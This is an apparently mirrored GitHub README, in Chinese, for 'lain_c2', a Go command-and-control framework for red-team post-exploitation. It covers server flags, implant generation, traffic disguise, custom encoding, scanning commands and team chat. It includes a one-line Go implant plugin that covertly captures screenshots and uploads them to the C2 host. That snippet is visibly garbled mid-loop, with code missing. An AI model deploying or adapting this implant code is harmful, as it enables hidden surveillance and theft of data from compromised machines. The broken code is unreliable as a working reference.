Mazzy-Stars/lain_c2

GitHub: Mazzy-Stars/lain_c2

一款基于 Go 的跨平台命令控制框架,支持自定义编码、插件扩展和多人协作,用于红队后渗透阶段的远程管理与内网侦察。

Stars: 31 | Forks: 3

![start.png](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fa096174f4120319.png) ## lain 命令控制框架 golang 框架,Agent 支持 Windows、Linux、macOS、Android 等平台。目前支持的通信协议为 https \ http。 ### 功能特性 自定义服务器错误响应 向玩家共享主机 自定义 CSS 文件 多人模式 动态加密 跨平台 内网信息收集 文件浏览器 分段文件传输 Web-UI 自定义插件代码 分组任务 任务、结果缓存 消息队列操作 自定义 implant 请求参数 客户端历史文件目录缓存 访问控制白名单 自定义日志语言消息 自定义所有服务器路径 团队聊天 ### 快速开始 ``` { "users": [ { "username": "aaf95bdd47f00d8435c49185", "password": "dfb95aac49185dd47f008435" //Change the password and username field to md5 encryption and remove the last 8 digits } ] } ``` ``` PS C:\Users\Administrator\Desktop\lain_c2-main> .\server.exe -h Usage of C:\Users\Administrator\Desktop\lain_c2-main\server.exe: -DefaultCert Use default public and private keys -cert string Customize public key path -css string Use default css file -css-route string customize web css (default "lain.css") -http Use HTTP instead of HTTPS -js-route string customize web js (default "lain.js") -key string Customize private key path -p string Port (default "443") -resp-error string web error resp (default "404 page not found") -title string web ui title (default "connect") -ui-route string web ui route (default "server") -web-route string backend communication routing (default "user_index") ``` ![image-20250722224250819](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/630b23f466120321.png) ### 启动服务器 开启监听 c2 服务端口。为了更好地隐蔽和模拟真实流量,所有流量均采用 GET 和 POST 形式,编写与 implant 通信的请求参数,参数不可重复。然后选择 http\https。 ![lain_c2/html/image-1.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/af809c8fa5120323.png) 更新后增加了自定义 Base64 编码功能。它支持生成随机编码表或使用符合 Base64 规则的用户自定义编码表。每个监听服务都关联一个唯一的编码表。 ![lain_c2/html/image-2.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/74443c39a4120324.png) 点击相应的平台链接以生成 implant 代码。 ![lain_c2/html/image-3.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/1ea92fba34120326.png) ### 将插件代码嵌入 Implant 每个监听服务插入相同的插件代码。 ![lain_c2/html/image-6.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/aa7804f393120328.png) 插件代码示例如下,上方是插件代码,然后必须选择参数数量(不少于实际参数),将 Go 语言代码压缩成一行,并在输入框中输入必要的参数。最后一个输入框是参数说明。 ![lain_c2/html/image-4.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/90082495b1120329.png) 参数说明格式:msg1, msg2; msg1 参数说明, msg2 参数说明(对应的参数说明通过勾选标记和相应的索引进行分隔)。 ![lain_c2/html/image-9.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/57b4cb04b7120331.png) 不同平台的插件代码。 ![lain_c2/html/image-8.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e196c7d769120354.png) Windows WindowsJpg 参数数量 4 interval, duration, quality, slices ``` intervalSec,err:=strconv.Atoi(msg1);if err!=nil||intervalSec<=0{intervalSec=3};durationSec,err:=strconv.Atoi(msg2);if err!=nil||durationSec<=0{durationSec=30};quality,err:=strconv.Atoi(msg3);if err!=nil||quality<1||quality>100{quality=80};intSize,err:=strconv.Atoi(msg4);if err!=nil||intSize<1048576{intSize=1048576};frameInterval:=time.Duration(intervalSec)*time.Second;duration:=time.Duration(durationSec)*time.Second;numCaptures:=int(duration/frameInterval);bounds:=screenshot.GetDisplayBounds(0);for i:=1;ifileSize{end=fileSize};str_encry:=user+"*//*"+strconv.Itoa(intSize)+"*//*"+strconv.Itoa(fileSize)+"*//*"+strconv.Itoa(start)+"*//*"+strconv.Itoa(end);data_encry:=get_encry_s(&str_encry);chunk:=fileContent[start:end];var buffer bytes.Buffer;writer:=multipart.NewWriter(&buffer);filename:=time.Now().Format("20060102_150405")+".jpg";encFilename:=get_encry_s(&filename);part,err:=writer.CreateFormFile("/*upload*/",encFilename);if err!=nil{break};_,err=io.Copy(part,bytes.NewReader(chunk));if err!=nil{break};writer.WriteField("/*uid*/",uid);writer.WriteField("/*result*/",data_encry);writer.Close();url:=protocol+master+"//*Path*/?/*option*/=/*upload*/";req,err:=http.NewRequest("POST",url,&buffer);if err!=nil{break};req.Header.Set("Content-Type",writer.FormDataContentType());req.Header.Set("Range","bytes="+strconv.Itoa(start)+"-"+strconv.Itoa(end-1));resp,err:=client.Do(req);if err!=nil{break};resp.Body.Close();if resp.StatusCode!=http.StatusOK{break};start=end;end=start+intSize;time.Sleep(time.Duration(delay)*time.Second)};time.Sleep(frameInterval)} ``` ### 团队聊天 与团队进行聊天。 ![lain_c2/html/image-45.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cd980e881b120356.png) ![lain_c2/html/image-46.jpeg at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/348a806305120358.jpg) ### 修改 Implant 信息 直接修改输入内容,然后按下 Save Change 按钮。 ![lain_c2/html/image-7.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/70360a9da8120359.png) ### Implant 终端 ![lain_c2/html/image-10.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/34ce79c7e6120402.png) ### 文件浏览器 ![lain_c2/html/image-11.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/a8ecdbeb6e120404.png) ### 嗅探主机选择端口 ![lain_c2/html/image-12.png at main · Mazzy-Stars/lain_c2](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/81e763acbd120406.png) ``` scan host [target 192.168.1(1,20,45...)or(1-253)] [range(1,20,45...)or(1-65534)] [delay]) scan port [target 192.168.1.1] [range(1,20,45...)or(1-65534)] [delay]) ```
标签:Agent, C2框架, Command & Control, DNS 反向解析, EVTX分析, Golang, Go语言, HTTPS通信, HTTP工具, HTTP隧道, Implant, IP 地址批量处理, TCP SYN 扫描, Teamserver, Web UI, 任务队列, 内网信息收集, 分块传输, 动态加密, 命令控制框架, 嗅探欺骗, 多人协作, 安全学习资源, 安全编程, 恶意软件, 插件化, 文件管理, 日志审计, 权限维持, 横向移动, 流量伪装, 程序破解, 系统triage, 编程规范, 网络信息收集, 网络安全审计, 自定义Profile, 远控木马